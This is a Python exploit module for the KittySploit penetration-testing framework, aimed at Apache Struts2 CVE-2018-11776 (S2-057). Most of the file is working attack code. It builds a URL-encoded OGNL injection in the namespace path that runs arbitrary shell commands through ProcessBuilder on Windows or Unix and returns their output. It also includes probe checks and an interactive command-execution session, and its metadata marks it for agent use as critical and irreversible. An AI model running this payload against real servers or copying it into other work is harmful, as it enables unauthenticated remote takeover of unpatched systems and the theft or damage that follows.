Apache Struts2 S2-057 OGNL RCE (CVE-2018-11776)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts2 S2-057 OGNL RCE (CVE-2018-11776) — execute session."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache Struts2 S2-057 OGNL RCE (CVE-2018-11776)',
        'description': (
            'Exploits CVE-2018-11776 (S2-057) OGNL injection via crafted namespace '
            'paths when alwaysSelectFullNamespace is enabled. Opens an interactive '
            'execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-11776'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2018-11776',
            'https://cwiki.apache.org/confluence/display/WW/S2-057',
        ],
        'tags': ['struts', 'struts2', 'ognl', 's2-057', 'rce', 'unauth', 'cve-2018-11776'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['struts', 'apache'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'OGNL namespace injection'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2018_11776_detect'],
            },
        },
    }

    action = OptString('actionChain1.action', 'Struts action suffix', False, advanced=True)

    def _ognl_path(self, cmd: str) -> str:
        safe = str(cmd).replace('\\', '\\\\').replace("'", "\\'")
        ognl = (
            '${(#_memberAccess["allowStaticMethodAccess"]=true,'
            f"(#cmd='{safe}'),"
            "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))),"
            "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})),"
            '(#p=new java.lang.ProcessBuilder(#cmds)),'
            '(#p.redirectErrorStream(true)),'
            '(#process=#p.start()),'
            '(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())),'
            '(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)),'
            '(#ros.flush())}/'
            + str(self.action or 'actionChain1.action')
        )
        return '/' + quote(ognl, safe='')

    def execute(self, cmd: str) -> str:
        r = self.http_request(
            method='GET',
            path=self._ognl_path(cmd),
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2018-11776 confirmed via id output',
                'confidence': 'high',
            }
        token = self.random_text(8)
        if token in (self.execute(f'echo {token}') or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2018-11776 confirmed via echo probe',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'OGNL payload did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()